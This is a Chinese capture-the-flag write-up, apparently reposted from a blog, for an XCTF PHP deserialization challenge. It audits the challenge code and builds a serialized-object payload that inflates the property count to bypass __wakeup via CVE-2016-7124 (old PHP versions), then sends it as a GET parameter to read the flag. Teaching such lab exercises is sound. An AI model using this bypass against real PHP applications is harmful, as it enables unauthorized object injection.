3.level3-[本地复现]-[CVE-2016-7124]

本文阅读 2 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都会有些许的情怀和使命感!!!

level3-[本地复现]-[CVE-2016-7124]

1.题目描述

class xctf{ 
public $flag = '111';
public function __wakeup(){ 
exit('bad requests');
} ?code=

2.代码审计

通读代码:

class xctf{                     // 定义一个以xctf为名的类
public $flag = '111';        // 定义一个以flag为名的公有属性
public function __wakeup(){     // 定义一个公有的魔术方法__wakeup()
exit('bad requests');        // 若当前类的实例化对象被反序列化,则输出bad requests且直接退出脚本
} ?code=                    // 提示我们传入一个?code的形式传参

分析所得:

<li class="task-list-item"> 发现一:代码中有一对半花括号,很明显不完整;且这些代码是通过html的方式输出的,说明这只是后台php页面的核心代码的提示
<li class="task-list-item"> 发现二:一旦触发wakeup魔术方法,就会立即输出bad requests且退出脚本,可能是在提示我们需要绕过该魔术方法,也就是使用CVE-2016-7124咯
<li class="task-list-item"> 发现三:提示以GET形式传参给code
<li class="task-list-item"> 猜测:可能只是在测试如何绕过wakeup魔术方法,绕过了应该就会给出flag

3.解题过程

第一步:分析流程

<li class="task-list-item"> 实例化对象
<li class="task-list-item"> 序列化对象
<li class="task-list-item"> 修改序列化结果中的属性个数大于真实个数
<li class="task-list-item"> 以GET形式把序列化结果提交给code

第二步:根据以上步骤构造payload

<?php
class xctf{ 
public $flag = '111';
} 

$chen = new xctf();
echo serialize($chen);
//修改前:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
//修改后:O:4:"xctf":2:{s:4:"flag";s:3:"111";}

第三步:传入payload,读取flag

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

img

4.总结

CVE-2016-7124的利用(PHP5 < 5.6.25、PHP7 < 7.0.10

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122160359
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复